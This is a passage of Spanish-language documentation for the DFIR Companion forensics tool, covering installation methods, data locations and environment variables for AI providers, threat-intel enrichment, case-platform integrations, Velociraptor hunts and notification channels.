a reinicios y reconstrucciones de la imagen.
- Configura mediante el bloque `environment:` en [`docker-compose.yml`](https://github.com/hasamba/dfir-companion/blob/master/docker-compose.yml), o
descomenta `env_file: - .env` para usar un archivo `.env` (copia `companion/.env.example`).
- Para acceder a un endpoint de IA que se ejecuta en el host, usa `http://host.docker.internal:<port>/v1`
(en Linux sin Docker Desktop, descomenta también la línea `extra_hosts` en el archivo compose).
## Windows (Chocolatey)
Instala la compilación portátil para Windows con [Chocolatey](https://chocolatey.org/) — no se
requiere Node.js. En una shell con privilegios elevados:```
choco install dfir-companion
dfir-companion # → http://127.0.0.1:4773/dashboard
choco upgrade dfir-companion descarga la siguiente versión; choco uninstall dfir-companion
elimina el binario y el shim del PATH. El instalador descarga el mismo zip portátil publicado en
la página de Releases y verifica su
SHA256.
Tus datos viven en tu perfil de usuario, no en el directorio de instalación propiedad del administrador: los casos en
%LOCALAPPDATA%\DFIR-Companion\cases y la configuración en %LOCALAPPDATA%\DFIR-Companion\.env
(inicializada a partir del ejemplo; edítala para las claves de IA / threat-intel — todas opcionales). La desinstalación
conserva esa carpeta para que la evidencia nunca se elimine. No se crea ninguna regla de firewall — el servidor
solo se enlaza a 127.0.0.1.
La extensión de captura está incluida en disco en %LOCALAPPDATA%\DFIR-Companion\extension para
instalación sin conexión (útil en estaciones de trabajo aisladas) — cárgala mediante chrome://extensions →
Modo de desarrollador → Cargar descomprimida → esa carpeta, o instálala desde Chrome Web Store una vez
publicada. No se instala automáticamente en el navegador.
¿Aún no está en el repositorio de la comunidad de Chocolatey? Hasta que se publique allí, obtén el
dfir-companion.<version>.nupkgdesde el release y ejecutachoco install dfir-companion --source .desde su carpeta. El empaquetado se encuentra enpackaging/chocolatey/.
Descarga dfir-companion-<version>-x86_64.AppImage desde la
página de Releases, luego:```
chmod +x dfir-companion--x86_64.AppImage
./dfir-companion--x86_64.AppImage # → http://127.0.0.1:4773/dashboard
No se requiere Node — incluye el servidor, el panel y las herramientas de imagen. **Tus datos viven en el
directorio desde el que lo ejecutas:** `cases/` (evidencia + estado) y un `.env` opcional (configuración de IA / threat-intel)
se crean/leen junto al lugar donde lanzas el AppImage. Se puede sobrescribir con `DFIR_CASES_ROOT`
(ruta absoluta) y `DFIR_ENV_FILE` (ruta absoluta a un archivo de configuración).
### Dónde viven los datos
| Instalación | Casos + estado | Configuración (`.env`) |
| ---------------------- | ------------------------------------- | ------------------------------------- |
| Código fuente / `npm run dev` | `companion/cases/` | `companion/.env` |
| EXE portátil de Windows | `cases/` junto al EXE | `.env` junto al EXE |
| Windows (Chocolatey) | `%LOCALAPPDATA%\DFIR-Companion\cases` | `%LOCALAPPDATA%\DFIR-Companion\.env` |
| AppImage de Linux | `$PWD/cases` (directorio de lanzamiento) | `$PWD/.env` (o `DFIR_ENV_FILE`) |
| Docker / Compose | volumen `./cases` montado | `environment:` / `--env-file` |
Todas las ubicaciones se pueden sobrescribir con `DFIR_CASES_ROOT` (ruta absoluta).
## Variables de entorno (`companion/.env`)
Todo el comportamiento del companion se configura mediante variables de entorno (`companion/.env` o el shell). Copia `companion/.env.example` para empezar — incluye comentarios en línea para cada variable.
### Núcleo
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_CASES_ROOT` | `./cases` | Ubicación de la carpeta de casos; las rutas relativas se resuelven contra `companion/` |
| `DFIR_PORT` | `4773` | Puerto del servidor (debe coincidir con la extensión y el panel) |
| `DFIR_HOST` | `127.0.0.1` | Interfaz de enlace. Se rechaza un enlace no-loopback sin autenticación; Docker Compose documenta su excepción de solo host-loopback |
| `DFIR_MAX_BODY_MB` | `256` | Tamaño máximo de subida en MB; auméntalo si las exportaciones grandes de SIEM/EDR fallan con HTTP 413 |
| `DFIR_ALLOWED_ORIGINS` | _(ninguno)_ | Orígenes de navegador adicionales autorizados a llamar a la API, separados por comas. La extensión de captura, loopback y cualquier origen que el propio companion haya servido siempre son de confianza, por lo que localhost/LAN/Docker no necesitan configuración; cualquier otro origen web es rechazado. Los llamadores que no envían `Origin` (curl, scripts, Velociraptor) no se ven afectados. Necesario cuando el panel se sirve desde un **nombre de host** — un proxy inverso o un despliegue alojado |
| `DFIR_ALLOWED_HOSTS` | _(ninguno)_ | Nombres de host adicionales a los que responde este companion, separados por comas. Loopback y direcciones IP simples siempre se aceptan, por lo que localhost, Docker y acceder al panel por la LAN en `http://192.168.1.50:4773` no necesitan configuración. Cualquier **nombre** que no esté en la lista es rechazado — eso es lo que detiene el DNS rebinding (un sitio hostil que apunta su propio dominio a tu máquina). Configúralo cuando un proxy inverso reenvía un `Host` que difiere del origen que pusiste en `DFIR_ALLOWED_ORIGINS` |
| `DFIR_ALLOWED_HOST_SUFFIXES` | _(ninguno)_ | Igual que el anterior pero coincidiendo por sufijo de dominio, p. ej. `.lab.example.com`, para plataformas que generan un nombre de host nuevo por sesión. La coincidencia es en un límite de etiqueta, por lo que `.acme.com` nunca coincide con `evilacme.com` |
| `DFIR_LOG_LEVEL` | `info` | Verbosidad del log (`debug`/`info`/`warn`/`error`). Se escribe en consola + `logs/session-<time>.log` (global) + `cases/<id>/logs/session-<time>.log` (por caso). `debug` traza llamadas de IA, capturas, OCR, anonimización, enriquecimiento. Se cambia en vivo (sin reiniciar) vía Settings → Log verbosity |
| `DFIR_LOG_DIR` | `logs/` junto a la raíz de casos | Carpeta para el log de sesión **global**. Las rutas relativas se anclan a `companion/`. Los logs por caso siempre permanecen en la carpeta del caso |
### Autenticación (despliegue de equipo opcional)
`DFIR_AUTH_MODE=team` habilita el inicio de sesión OIDC/local, sesiones de navegador seguras, roles por caso e
identidades de servicio con alcance de caso. La autenticación y la configuración del proveedor de identidad son controles de
seguridad del despliegue: configúralos en `.env` o en un almacén de secretos, luego reinicia. Consulta la
[guía de Cuentas de Equipo y Roles de Caso](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/team-authentication.md) para la
lista completa de variables, configuración de HTTPS, bootstrap del primer administrador, matriz de roles, token de extensión y
modelo de proceso de escritor único.
### IA — extracción (requerido para habilitar el análisis)
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_VISION_PROVIDER` | — | `openai` \| `openrouter` \| `ollama` \| `litellm` \| `gemini` \| `anthropic` \| `claude-code`; sin definir = solo captura |
| `DFIR_VISION_MODEL` | — | Id del modelo (p. ej. `gpt-4o-mini`, `gemini-2.5-flash`); **debe soportar visión** para la extracción de capturas de pantalla |
| `DFIR_VISION_KEY` | — | Clave de API del proveedor; déjala en blanco para un proxy local sin autenticación o para `claude-code` (usa tu suscripción de la CLI `claude` con sesión iniciada en su lugar) |
| `DFIR_AI_CLAUDE_CODE_BIN` | `claude` en PATH | solo `claude-code`: ruta absoluta al binario `claude` si no está en PATH |
| `DFIR_VISION_BASE_URL` | predeterminado del proveedor | Sobrescribe la URL base — para un proxy LiteLLM local o cualquier endpoint compatible con OpenAI |
| `DFIR_AI_TIMEOUT_MS` | `900000` | Tiempo de espera por solicitud (ms); los proveedores CLI (claude-code, codex) necesitan minutos en una línea de tiempo grande |
| `DFIR_AI_MAX_TOKENS` | `16000` | Tokens máximos de finalización; demasiado bajo trunca la síntesis, previene el 402 de OpenRouter con saldo bajo |
| `DFIR_AI_SYNTH_MAX_EVENTS` | `600` | Límite de eventos forenses enviados a la síntesis; Critical/High siempre obtienen un hallazgo independientemente |
| `DFIR_REPORT_SYNTH_COVERAGE` | _(desactivado)_ | Establécelo como verdadero para añadir una nota al pie **§3.4 Cobertura de síntesis** al informe — "se consideraron N de M eventos en ventana (K omitidos: presupuesto/filtrado)", la estimación de tokens y cuántas omisiones de alta severidad recuperó el relleno de red de seguridad. La tarjeta synth-meta del panel siempre muestra esta línea; este flag solo controla si también aparece en el informe exportado |
| `DFIR_REPORT_MODEL_PERF` | _(desactivado)_ | Establécelo como verdadero para añadir una nota al pie **§3.5 Rendimiento del modelo** al informe — el modelo de síntesis, el recuento de hallazgos frente a cuántos tuvo que añadir el relleno de red de seguridad, los reintentos de parseo y (cuando se ha ejecutado una segunda opinión) con qué frecuencia `DFIR_AI_SECOND_OPINION_MODEL` coincidió con `DFIR_AI_MODEL`/`DFIR_AI_SYNTH_MODEL`. La tarjeta synth-meta del panel siempre muestra esto; este flag solo controla si también aparece en el informe exportado |
| `DFIR_AI_CONTEXT_TOKENS` | `128000` | Ventana de contexto del modelo; auméntala para Claude/Gemini (200k/1M) para enviar más por llamada |
| `DFIR_VISION_IMAGE_DETAIL` | `high` | `high` \| `low` \| `auto` (OpenAI/OpenRouter); `high` divide en mosaicos a resolución completa para OCR de texto pequeño |
| `DFIR_AI_AUTO_SYNTHESIZE` | `on` | Re-sintetizar durante la captura: `on` \| `off` |
| `DFIR_AI_AUTO_SYNTHESIZE_MS` | `8000` | Ventana de debounce antes de que se dispare la auto-síntesis (ms) |
| `DFIR_FLUSH_INTERVAL_MS` | `300000` | Volcado de red de seguridad de los búferes de captura sobrantes (ms); `0` lo desactiva |
| `DFIR_ANONYMIZE` | `on` | Tokeniza IPs/hosts/usuarios/rutas de la víctima antes de las llamadas de IA: `on` \| `off` |
| `DFIR_PRESIDIO_URL` | _(sin definir)_ | Opcional: URL base de un contenedor Analyzer de [Presidio](https://github.com/hasamba/dfir-companion/blob/master/mkdocs-docs/reference/presidio.md) autoalojado (p. ej. `http://localhost:5002`) que escanea texto ya enmascarado en busca de nombres y otra PII que las regex no pueden capturar. Sin definir = función desactivada. |
| `DFIR_PRESIDIO_MIN_SCORE` | `0.6` | Umbral de confianza (0–1) para los hallazgos de Presidio; en blanco/no numérico recurre al valor predeterminado, los valores fuera de rango se acotan |
| `DFIR_PRESIDIO_TIMEOUT_MS` | `60000` | Presupuesto para una solicitud `/analyze` (los escaneos se dividen en fragmentos; cada fragmento recibe el presupuesto completo). Auméntalo para un analizador lento o compartido; en blanco/no numérico/≤0 recurre al valor predeterminado |
> Las variables de captura de pantalla/visión anteriores (`DFIR_VISION_PROVIDER` / `DFIR_VISION_MODEL` / `DFIR_VISION_KEY` / `DFIR_VISION_BASE_URL` / `DFIR_VISION_IMAGE_DETAIL`) se renombraron desde el prefijo `DFIR_AI_*`; los nombres heredados `DFIR_AI_PROVIDER` / `DFIR_AI_MODEL` / `DFIR_AI_KEY` / `DFIR_AI_BASE_URL` / `DFIR_AI_IMAGE_DETAIL` siguen funcionando como fallback obsoleto (el nombre nuevo gana cuando ambos están definidos).
**Claude Code** — usa tu suscripción de Claude con sesión iniciada a través de la CLI `claude`, sin clave de API; maneja
visión + texto (extracción de capturas de pantalla *y* síntesis). Requiere la CLI `claude` instalada y
`claude auth login` completado en el host. Consume los límites de tasa de tu suscripción (la extracción intensiva
puede agotarlos); el coste reportado es equivalente al de la API, no desembolsado. Settings → AI muestra un
estado de conexión (no instalado / no conectado / conectado) con una acción de Conectar con un clic.
### IA — modelo de texto (dos niveles, opcional)
La división es **visión vs texto**: `DFIR_VISION_MODEL` lee capturas de pantalla (debe ser multimodal); el modelo `DFIR_AI_SYNTH_*` hace **todo el trabajo de texto** — extracción de CSV, triaje de logs, síntesis, preguntar/explicar. Si no se define, el trabajo de texto reutiliza `DFIR_VISION_MODEL`.
**Codex** — establece `DFIR_AI_SYNTH_PROVIDER=codex` (también válido para los proveedores velo / segunda opinión)
para ejecutar el trabajo de texto a través de la **CLI Codex** local de OpenAI (`codex exec`), usando tu autenticación
codex ambiental — `codex login` o `OPENAI_API_KEY`, **sin `DFIR_AI_KEY`**. Codex es **solo texto** (no puede
leer capturas de pantalla), así que combínalo con un proveedor de visión para la extracción; envía datos a OpenAI
(no local). Requiere `@openai/codex` instalado. El opcional `DFIR_AI_CODEX_BIN` apunta a un
`codex` que no esté en PATH. Settings → AI muestra un estado de conexión de codex (no instalado / no conectado /
conectado) con una acción de Conectar con un clic.
Recomendado: modelo de visión barato para capturas de pantalla, modelo de razonamiento fuerte para texto. No escatimes en el modelo de texto — uno débil falla en el triaje de logs *silenciosamente*, devolviendo ningún evento en lugar de eventos incorrectos (`npm run eval:real` mide exactamente esto).
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_AI_SYNTH_PROVIDER` | = `DFIR_VISION_PROVIDER` | Proveedor para el trabajo de texto (CSV/log/síntesis) |
| `DFIR_AI_SYNTH_MODEL` | = `DFIR_VISION_MODEL` | Id del modelo de texto — extracción de CSV/log + síntesis (p. ej. `gpt-4o`, `gemini-2.5-pro`, `claude-sonnet-4-6`) |
| `DFIR_AI_SYNTH_KEY` | = `DFIR_VISION_KEY` | Clave de API del modelo de texto |
| `DFIR_AI_SYNTH_BASE_URL` | = `DFIR_VISION_BASE_URL` | URL base de síntesis |
### IA — modelo de caza de Velociraptor (opcional)
Un modelo dedicado usado **solo** para generar cazas VQL de Velociraptor (las funciones *Suggest Velociraptor hunts* / *Fleet Hunts*), separado de extracción/síntesis/OCR — muchos modelos estropean VQL. También editable en **Settings → AI**.
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_AI_VELO_PROVIDER` | `openrouter` | Proveedor para la generación de cazas VQL |
| `DFIR_AI_VELO_MODEL` | `anthropic/claude-haiku-4.5` | Id del modelo para la generación de cazas VQL |
| `DFIR_AI_VELO_KEY` | = `DFIR_VISION_KEY` | Clave de API (reutiliza la clave principal cuando está en blanco) |
| `DFIR_AI_VELO_BASE_URL` | = `DFIR_VISION_BASE_URL` | Sobrescritura de la URL base |
### IA — prompts personalizados (opcional)
Cada prompt tiene dos formas de sobrescritura (orden de prioridad): `DFIR_AI_<NAME>_PROMPT` (texto en línea, leído al inicio) y `DFIR_AI_<NAME>_PROMPT_FILE` (ruta a archivo, releído en cada llamada — edítalo y se aplica inmediatamente). `npm run prompts:eject` escribe los valores predeterminados integrados como punto de partida.
| Nombre del prompt | Token `<NAME>` |
|---|---|
| Extracción por captura de pantalla | `SYSTEM` |
| Triaje de importación de CSV | `CSV` |
| Triaje de importación de logs | `LOG` |
| Síntesis holística | `SYNTH` |
| Preguntas y respuestas del caso | `ASK` |
| Resumen ejecutivo | `EXEC` |
| Línea de tiempo narrativa | `NARRATIVE` |
| Cazas de flota sugeridas | `HUNTS` |
| Cazas de playbook sugeridas | `PBHUNTS` |
| Hipótesis de brechas en la línea de tiempo | `GAPHYP` |
| Traductor de consultas (NL → consulta) | `QUERYXLATE` |
### Enriquecimiento de threat-intel (opcional — desactivado por defecto)
Añade una clave para habilitar ese proveedor. Todos los proveedores externos son opt-in por caso desde el panel.
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_VT_KEY` | — | Clave de API de VirusTotal (hash / IP / dominio / URL) |
| `DFIR_HUNTINGCH_KEY` | — | Auth-Key de abuse.ch para Hunting.ch (MalwareBazaar · ThreatFox · URLhaus · YARAify); recurre a `DFIR_MB_KEY` |
| `DFIR_MB_KEY` | — | Clave heredada de abuse.ch — alimenta Hunting.ch; prefiere `DFIR_HUNTINGCH_KEY` |
| `DFIR_ABUSEIPDB_KEY` | — | Clave de API de AbuseIPDB (reputación de IP) |
| `DFIR_CROWDSTRIKE_CLIENT_ID` | — | Id de cliente OAuth2 de CrowdStrike Falcon TI |
| `DFIR_CROWDSTRIKE_CLIENT_SECRET` | — | Secreto OAuth2 de CrowdStrike (necesita *Indicators: Read* + *MalQuery: Read*) |
| `DFIR_CROWDSTRIKE_CLOUD` | `us-1` | Nube del tenant: `us-1` \| `us-2` \| `eu-1` \| `gov-us-1` \| `gov-us-2` |
| `DFIR_CROWDSTRIKE_BASE_URL` | desde la nube | URL base explícita de la API (sobrescribe `DFIR_CROWDSTRIKE_CLOUD`) |
| `DFIR_ROCKYRACCOON_KEY` | — | Clave de RockyRaccoon para prevalencia de procesos de Windows / LOLBIN / ATT&CK |
| `DFIR_MISP_URL` | — | URL de la instancia MISP — se requieren tanto URL + clave para el enriquecimiento y el push |
| `DFIR_MISP_KEY` | — | Clave de autenticación de la API de MISP |
| `DFIR_MISP_CA` | — | Paquete PEM de CA para MISP con CA interna (la verificación permanece activada) |
| `DFIR_MISP_INSECURE` | — | `=1` para omitir la verificación TLS (solo laboratorio) |
| `DFIR_MISP_DISTRIBUTION` | `0` | Distribución de nuevos eventos: `0`=org, `1`=comunidad, `2`=conectados, `3`=todos |
| `DFIR_MISP_ANALYSIS` | `1` | Estado de análisis de nuevos eventos: `0`=inicial, `1`=en curso, `2`=completo |
| `DFIR_MISP_TIMELINE_LIMIT` | `5000` | Máximo de eventos de la línea de tiempo forense por push; pasado el límite se conservan los más graves y el push avisa |
| `DFIR_YETI_URL` | — | URL de la instancia YETI — se requieren tanto URL + clave |
| `DFIR_YETI_KEY` | — | Clave de API de YETI |
| `DFIR_YETI_CA` | — | Paquete PEM de CA para YETI con CA interna |
| `DFIR_YETI_INSECURE` | — | `=1` para omitir la verificación TLS (solo laboratorio) |
| `DFIR_OPENCTI_URL` | — | URL de la instancia OpenCTI — se requieren tanto URL + clave (hash/ip/dominio/url) |
| `DFIR_OPENCTI_KEY` | — | Token de API de OpenCTI |
| `DFIR_OPENCTI_CA` | — | Paquete PEM de CA para OpenCTI con CA interna |
| `DFIR_OPENCTI_INSECURE` | — | `=1` para omitir la verificación TLS (solo laboratorio) |
| `DFIR_OPENCTI_MALICIOUS_SCORE` | `75` | Umbral de `x_opencti_score` para veredicto malicioso |
| `DFIR_RDAP_URL` | `https://rdap.org` | Base de WHOIS-sobre-RDAP (sin clave; bootstrap de IANA al RIR propietario) |
| `DFIR_GEOIP_URL` | `https://ipinfo.io/{ip}/json` | Plantilla de URL de GeoIP (HTTPS sin clave; se sustituye `{ip}`; el parser también tolera ip-api.com + ipwho.is) |
| `DFIR_GEOIP_KEY` | — | Clave GeoIP opcional (rellena `{key}`, si no se añade como `?token=`) para un backend de pago/autoalojado |
| `DFIR_SHODAN_KEY` | — | Clave de API de Shodan — también alimenta el enriquecedor de IP de búsqueda de host de Shodan (compartido con la exposición del cliente) |
| `DFIR_HASHLOOKUP_URL` | `https://hashlookup.circl.lu` | Base de hashlookup de CIRCL (búsqueda de archivos conocidos sin clave para IOCs de hash); sobrescribe para un espejo autoalojado / air-gapped |
| `DFIR_ENRICH_DELAY_MS` | `1500` | Limitación entre búsquedas (ms) |
| `DFIR_ENRICH_JITTER_MS` | `0` | ± jitter aleatorio añadido a la espera entre llamadas (ms); distribuye ejecuciones alineadas/paralelas para que no todas golpeen la ventana de límite de tasa de un proveedor a la vez |
| `DFIR_ENRICH_RETRIES` | `2` | Intentos de reintento para una llamada a un proveedor que recibe un 429, respetando `Retry-After` cuando el proveedor lo envía, antes de contarse como error |
| `DFIR_ENRICH_RETRY_BACKOFF_MS` | `1000` | Backoff base antes del primer reintento por 429 (se duplica en cada intento, con tope de 30s) cuando el proveedor no dio `Retry-After` |
| `DFIR_ENRICH_MAX` | `100` | Máximo de IOCs consultados por lote de enriquecimiento (hashes/IPs primero) |
| `DFIR_ENRICH_MAX_BATCHES` | `20` | Cuántos lotes limitados puede encadenar un solo lanzamiento de enriquecimiento. Un caso con más IOCs que `DFIR_ENRICH_MAX` ya no se detiene en el límite: la ejecución guarda, luego comienza el siguiente lote donde lo dejó, hasta este número. `1` restaura el comportamiento anterior de ejecución única. Lo que el límite aún deje se reporta en la línea de estado, no se descarta silenciosamente |
| `DFIR_ENRICH_HEALTH_TTL_MS` | `60000` | Caché del veredicto arriba/abajo para proveedores autoalojados (ms) |
| `DFIR_ENRICH_HEALTH_POLL_MS` | `60000` | Intervalo de re-sondeo para proveedores caídos; `0` desactiva el sondeo en segundo plano |
### Exposición del cliente (opcional)
Comprueba los dominios/emails de la **propia organización víctima** contra bases de datos de brechas — nunca dominios de adversarios/IOC.
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_HIBP_KEY` | — | Clave de API de Have I Been Pwned |
| `DFIR_HIBP_USER_AGENT` | `DFIR Companion` | Cabecera User-Agent de HIBP |
| `DFIR_LEAKCHECK_KEY` | — | Clave de API de LeakCheck Pro |
| `DFIR_LEAKCHECK_DOMAIN_LIMIT` | `1000` | Máximo de registros por búsqueda de dominio |
| `DFIR_DEHASHED_KEY` | — | Clave de API de DeHashed v2 |
| `DFIR_DEHASHED_BASE_URL` | Predeterminado de DeHashed | Sobrescribe la URL base de la API de DeHashed |
| `DFIR_SHODAN_KEY` | — | Clave de Shodan (dominio → hosts / puertos / CVEs expuestos; sin búsqueda de email) |
| `DFIR_EXPOSURE_DELAY_MS` | `1500` | Limitación entre búsquedas de proveedores (ms) |
### Push / importación de DFIR-IRIS (opcional)
Se requieren tanto URL como clave para habilitarlo. La misma conexión alimenta **Push to DFIR-IRIS** e
**Import from IRIS** (extrae los activos/IOCs/línea de tiempo de un caso IRIS existente a un caso).
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_IRIS_URL` | — | URL de la instancia IRIS |
| `DFIR_IRIS_KEY` | — | Clave de API de IRIS |
| `DFIR_IRIS_CA` | — | Paquete PEM de CA para IRIS con CA interna |
| `DFIR_IRIS_INSECURE` | — | `=1` para omitir la verificación TLS (solo laboratorio) |
| `DFIR_IRIS_CUSTOMER_ID` | `1` | Id de cliente para nuevos casos IRIS (push) |
| `DFIR_IRIS_CLASSIFICATION_ID` | `1` | Id de clasificación para nuevos casos IRIS (push) |
### Push a Timesketch (opcional)
Se requieren URL + usuario + contraseña para habilitar el push. La exportación a JSONL funciona sin ninguna configuración.
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_TIMESKETCH_URL` | — | URL de la instancia Timesketch |
| `DFIR_TIMESKETCH_USER` | — | Nombre de usuario de autenticación local |
| `DFIR_TIMESKETCH_PASSWORD` | — | Contraseña de autenticación local |
| `DFIR_TIMESKETCH_TIMELINE` | `DFIR-Companion Forensic Timeline` | Nombre de la línea de tiempo gestionada |
| `DFIR_TIMESKETCH_CA` | — | Paquete PEM de CA para Timesketch con CA interna |
| `DFIR_TIMESKETCH_INSECURE` | — | `=1` para omitir la verificación TLS (solo laboratorio) |
### Exportación a Notion (opcional)
Solo el token lo habilita. Comparte la página/base de datos de destino con la integración. "New page" necesita una
base de datos o página padre (predeterminado de env o introducido por exportación); "existing page" actualiza una página que pegues.
| Variable | Predeterminado | Significado |
|---|---|---|
| `DFIR_NOTION_TOKEN` | — | Secreto de integración interna (Notion: Settings → Connections → develop your own) |
| `DFIR_NOTION_DATABASE_ID` | — | Base de datos predeterminada para exportaciones de "new page" (la plantilla de investigación) |
| `DFIR_NOTION_PARENT_PAGE_ID` | — | Predeterminado alternativo: crear la nueva página bajo esta página padre |
| `DFIR_NOTION_CONTAINER_TITLE` | `🔍 DFIR Companion — Auto-generated` | Título del bloque gestionado que posee el Companion |
| `DFIR_NOTION_MAX_TIMELINE` | `500` | Máximo de filas de línea de tiempo escritas en Notion |
| `DFIR_NOTION_CA` | — | Paquete PEM de CA si un proxy usa una CA interna |
| `DFIR_NOTION_INSECURE` | — | `=1` para omitir la verificación TLS (solo laboratorio) |
### Cazas en vivo de Velociraptor + paquetes de triaje (opcional)
Establece `DFIR_VELOCIRAPTOR_API_CONFIG` para habilitarlo. Genera la configuración una vez con:```
velociraptor --config server.config.yaml config api_client --name dfir --role administrator,api api.config.yaml
| Variable | Default | Meaning |
|---|---|---|
DFIR_VELOCIRAPTOR_API_CONFIG | — | Ruta al archivo de configuración de api_client |
DFIR_VELOCIRAPTOR_BINARY | velociraptor | Ruta del ejecutable (ruta completa al .exe en Windows) |
DFIR_VELOCIRAPTOR_GUI_URL | — | URL base de la GUI para enlazar directamente a las búsquedas lanzadas |
DFIR_VELOCIRAPTOR_ORG | root | Organización para el ?org_id= del enlace directo (la GUI lo requiere, antes del fragmento #) |
DFIR_VELOCIRAPTOR_TIMEOUT_MS | 60000 | Tiempo de espera por consulta (ms) |
DFIR_VELOCIRAPTOR_MAX_ROWS | 1000 | Máximo de filas devueltas al panel |
DFIR_VELOCIRAPTOR_MAX_OUTPUT | 52428800 | Límite máximo de bytes de salida de consultas interactivas (50 MB) |
DFIR_VELOCIRAPTOR_COLLECT_MAX_OUTPUT | 268435456 | Límite mayor para la recopilación de bundle-hunt (filas + JSON subido; THOR/Hayabusa son grandes). Un artefacto/subida que supere esto se omite (registrado), no es fatal — el resto se importa igualmente. |
DFIR_VELO_HUNT_WAIT_MIN | 10 | Minutos por defecto antes de que una búsqueda de bundle de triaje se auto-recolecte (anulación por ejecución + por bundle; limitado 1–1440) |
DFIR_VELOCIRAPTOR_UPLOAD_VQL | — | Avanzado: anular el VQL que lee los informes de texto subidos de una búsqueda (json/jsonl/ndjson/csv/txt/log; sensible a la versión; mantener el marcador __HUNT_ID__) |
DFIR_VELOCIRAPTOR_FLOW_UPLOAD_VQL | — | Avanzado: anular el VQL que lee los informes subidos de un flujo único pegado externamente (mantener los marcadores __CLIENT_ID__/__FLOW_ID__) |
Bundles de triaje (pestaña Settings → Velociraptor): Browse server artifacts lista los artefactos
CLIENT recopilables del servidor; ensambla + guarda bundles con nombre (tres vienen integrados — Best Practice (barrido de
victorias rápidas), Super-Timeline Triage (artefactos de host en bruto, enrutados solo a la super-timeline) y Linux
Triage — almacenados globalmente junto a cases/ en bundles/). Cada bundle, incluidos los integrados, es editable in
situ — una edición guarda una anulación; Reset to default la descarta. Ejecuta uno como búsqueda desde el panel Fleet Collection del panel (opcionalmente acotado
por etiquetas de inclusión/exclusión + SO, y un umbral de importación de severidad mínima). El tiempo de espera de recopilación es una configuración del bundle
(configurado en el editor — auméntalo para artefactos lentos como THOR; el valor por defecto de Velociraptor es 600 s) y se
aplica automáticamente en cada ejecución. Cada búsqueda también lleva una expiración relativa — cuánto tiempo sigue programándose en
clientes que se registran más tarde — elegida entre 1 hora / 1 día / 1 semana (por defecto 1 hora, frente al propio
valor por defecto de una semana de Velociraptor); es un valor por defecto por bundle establecido en el editor y anulable por ejecución. Los bundles también pueden llevar parámetros por artefacto (pasados al
spec de la búsqueda) para que un artefacto pesado emita menos en el origen — Best Practice incluye **Hayabusa fijado a RuleLevel=Critical/High/Medium
RuleStatus=Stable+Experimental** para que no inunde la importación; ajusta cualquier artefacto mediante el JSON opcional Advanced → parameters del constructor,
y descarta filas ruidosas con filtros de exclusión por artefacto (VQL WHERE, p. ej. NOT OSPath =~ 'pagefile'). La búsqueda permanece abierta hasta su expiración, por lo que
el Companion auto-recolecta tras DFIR_VELO_HUNT_WAIT_MIN e ingiere tanto las filas de resultados como cualquier
informe JSON subido (p. ej. THOR/Hayabusa vía Generic.Scanner.ThorZIP — para esos las filas no importan, el
JSON subido sí; se autodetecta y se enruta al importador correcto), luego sintetiza — o haz clic en Collect
now en la tarjeta del trabajo en curso para extraer antes. El trabajo en curso persiste por caso (state/velo-hunt.json) y
sobrevive a un reinicio del servidor; los resultados aparecen en la timeline/IOCs del panel.| Variable | Default | Description |
|---|---|---|
DFIR_MCP_MODEL | (CLI default) | Modelo usado para llamadas individuales a herramientas MCP, pasado a claude --model. |
DFIR_MCP_AGENT_MODEL | (CLI default) | Modelo para el bucle agéntico, pasado a claude --model. |
Registrar un servidor es una decisión de seguridad, no solo de configuración — consulta Registering an MCP server.
Envía hallazgos nuevos/escalados, actualizaciones de playbook e hitos de investigación a webhooks de Slack /
MS Teams o correo SMTP. No hay variable de entorno de activación — los canales se crean en el
panel (⚙ Settings → Notifications) y se almacenan junto a cases/ en notifications/config.json
(gitignored; contiene las URLs de webhook + contraseñas SMTP). La lista empieza vacía (opt-in). Cada canal tiene un
umbral de severidad y conmutadores por evento (hallazgos / playbook / hitos). Usa el botón Test para
verificar un canal de extremo a extremo.
⚠ OPSEC: las notificaciones envían contenido del caso (títulos de hallazgos/tareas) a un tercero. No lo actives en un caso sensible a menos que el destino sea de confianza.
Slack — crea un Incoming Webhook (sin ámbitos OAuth manuales; Slack añade incoming-webhook automáticamente):
DFIR Companion) y elige tu espacio de trabajo.https://hooks.slack.com/services/T…/B…/…).Un webhook publica en un canal — añade otro webhook (y otro canal del Companion) por cada canal adicional.
La URL es un secreto (cualquiera que la tenga puede publicar ahí), por eso el archivo de configuración está en gitignore y la URL se
oculta en las respuestas de la API. Los ámbitos de token de bot como chat:write no son necesarios — el Companion publica vía el
incoming webhook, no la Web API.
MS Teams — añade un conector Incoming Webhook (o un flujo de Power Automate "when a webhook request is received")
a un canal y pega su URL (el Companion envía un MessageCard). Correo SMTP — dale al canal un host/puerto,
usuario+contraseña opcionales, y from/to; se usan STARTTLS oportunista + AUTH LOGIN cuando se ofrecen. Para una prueba
local rápida, apúntalo a Mailpit (docker run -p 1025:1025 -p 8025:8025 axllent/mailpit).
Telegram — usa un token de Bot API + un ID de chat/canal/grupo:
/newbot y copia el token (123456789:AAF…)./start a tu bot, luego abre https://api.telegram.org/bot<TOKEN>/getUpdates; el chat.id es un entero positivo.getUpdates; chat.id es un entero negativo.@mychannel.@getidsbot para obtener el ID numérico (normalmente -100…).¿Ya tienes en marcha el bot de war-room? Deja el token en blanco y rellena solo
el chat ID — el canal reutiliza DFIR_TELEGRAM_BOT_TOKEN de .env, y el campo muestra (already set). El token
permanece solo en .env, así que rotarlo ahí rota también este canal. Escribe un token aquí solo para enviar a través de un
bot diferente; entonces anula el de env para este canal.
Un token escrito aquí se almacena en notifications/config.json (junto a cases/) y nunca se devuelve al
navegador — el panel solo sabe si hay uno establecido, y si provino de .env.
| Variable | Default | Meaning |
|---|---|---|
DFIR_PUBLIC_URL | http://<host>:<port> | URL base pública usada para enlazar una notificación de vuelta al caso (establecer cuando se accede vía un nombre de host/proxy) |
DFIR_NOTIFY_CA | — | Paquete PEM de CA para un host de webhook autoalojado (p. ej. Mattermost) |
DFIR_NOTIFY_INSECURE | — | =1 para omitir la verificación TLS del host del webhook (solo laboratorio) |
